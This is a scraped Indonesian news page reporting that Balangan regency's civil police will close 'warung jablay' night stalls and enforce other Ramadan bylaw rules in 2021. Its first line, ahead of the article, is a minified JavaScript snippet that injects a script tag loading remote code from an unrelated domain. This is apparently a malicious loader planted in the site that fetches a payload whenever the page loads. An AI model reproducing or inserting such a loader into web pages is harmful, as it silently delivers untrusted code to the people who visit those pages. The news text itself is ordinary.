(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Selama Ramadhan, Warung Jablay Dilarang Beroperasi Â


KANALKALIMANTAN.COM, PARINGIN – Penegakkan Perda Nomor 6 tahun 2005 tentang kegiatan Ramadhan, Satpol PP Kabupaten Balangan bakal melakukan pengawasan dan penegakkan aturan, salah satunya keberadaan warung jablay.

Sebagai bentuk peringatan agar Perda ditaati, Bupati Balangan mengeluarkan surat edaran terkait upaya cipta kondisi dan ketentraman umum dan ketertiban masyarakat, serta toleransi umat beragama.

Kepala Satpol PP Balangan, Rakhmadi Yusni mengatakan, surat edaran menjadi acuan bagi Satpol PP Balangan melakukan pengawasan apabila ada pelanggaran Perda yang terjadi.

“Kegiatan yang dilarang di antaranya membuka warung makan pada siang hari, jangan membunyikan petasan, warung jablay atau warung malam diharapkan tutup,” ujar Rakhmadi, Jumat (30/4/2021).

 

 

Terkait masih ada warung malam yang buka, Rakhmadi sendiri tidak menampiknya.

Menurutnya, keterbatasan personil menjadi kendala bagi pihaknya dalam melakukan pengawasan atau razia warung malam tersebut.

Namun demikian, pihaknya akan terus melakukan pengawasan, dan memantau kegiatan tersebut dan menindaknya sesuai aturan yang ada.

Terutama pada wilayah yang menjadi tempat-tempat keberadaan warung malam, diantaranya di Desa Mampari, Kecamatan Batumandi, Desa Juai, Desa Lasung Batu, Dahai, dan Paringin.

Dalam surat edaran yang dikeluarkan, ada poin yang menekankan warung malam atau warung jablay selama bulan Ramadhan dilarang buka atau beroperasi.

Belajar dari tahun sebelumnya, memang ada pelanggaran Perda yang terjadi. Terutama adanya warung makan yang buka pada siang hari.

Pihaknya melakukan tindakan persuasif dan peneguran, serta pemberian surat peringatan, selanjutnya warung tersebut mematuhi Perda yang berlaku.

Tak hanya itu, karena masih masa pandemi Covid-19, dalam surat edaran tersebut juga tertera bagi masyarakat yang berdomisili atau tinggal dan melakukan aktivitas di wilayah Kabupaten Balangan wajib melaksanakan protokol kesehatan terkait Covid-19. (kanalkalimantan.com/alfi)

Reporter: alfi
Editor: kk

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.